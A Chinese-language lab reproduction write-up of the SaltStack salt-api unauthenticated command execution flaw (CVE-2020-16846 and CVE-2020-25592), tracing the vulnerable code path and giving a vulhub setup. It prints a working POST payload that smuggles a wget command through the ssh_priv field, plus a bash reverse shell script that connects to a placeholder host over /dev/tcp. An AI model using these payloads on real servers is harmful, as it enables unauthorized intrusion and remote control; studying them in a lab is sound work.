SaltStack 未授权访问命令执行漏洞 #CVE-2020-16846 25592

漏洞描述

2020年11月4日,SaltStack 官方发布了一则安全更新公告,其中CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块,CVE-2020-16846允许用户执行任意命令。salt-api虽不是默认开启配置,但绝大多数SaltStack用户会选择开启salt-api,故存在较高风险。

漏洞影响









环境搭建

git clone https://github.com/vulhub/vulhub.git
cd vulhub/saltstack/CVE-2020-16846
docker-compose up -d

漏洞复现

salt-api REST接口默认使用cherrypy框架,从run接口的实现上可以看出通过client参数动态调用NetapiClient类中的方法。

文中指定代码位置采用以下约定 FileLocation:Classname.method()

salt/netapi/init.py:NetapiClient.run()

20231009155321393-115ff8a9-bbe2-47b7-bb31-29d8ff1f9621 (1)

low参数为外部传入参数,salt.utils.args.format_call方法将参数赋值给kwargs。

当client参数为ssh时,动态调用salt/netapi/init.py:NetapiClient.ssh(), 该方法未采用任何鉴权。

salt/netapi/init.py:NetapiClient.ssh()

20231009155412367-f315de67-32a9-4a01-bcbf-b3c7532d68a0 (1)

跟进,路径如下:

salt/netapi/init.py:NetapiClient.ssh()⇒salt/client/ssh/client.py:SSHClient.cmd_sync()⇒salt/client/ssh/client.py:SSHClient._prep_ssh()

salt/client/ssh/client.py:SSHClient._prep_ssh()

20231009155505384-95ff3e7f-ca13-4190-a499-93aef3ba2ba6 (1)

该方法将kwargs外部可控参数更新值opts变量,该变量可以理解为SaltStack系统的环境变量,使用该变量初始化salt.client.ssh.SSH。

salt/client/ssh/init.py:SSH.__init__()

20231009155553499-18e2c1da-aafa-4494-929b-3a7e660571c9 (1)

priv的值从opts变量中获取,并调用salt.client.ssh.shell.gen_key()方法

salt/client/ssh/shell.py:gen_key()

20231009155637237-a966f7ba-d3b4-43c6-ab3b-6d14aaf5dd76 (1)

POST /run HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|wget http://xxx.dnslog.cn

20231009155733132-cfb7eb48-7344-412b-85d2-c3ea22b8914e (1)

反弹shell的方法,先写 bash文件,内容为反弹shell语句,使用wget下载到目标中

#!/bin/sh
bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1'

20231009155836148-82450b1c-a776-42ce-8095-058337c13e84 (1)

监听端口,使用 /bin/bash 运行文件 反弹shell

20231009155932294-5ca598c8-1214-4d1c-b98c-d58822e9b22a (1)

 

 

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容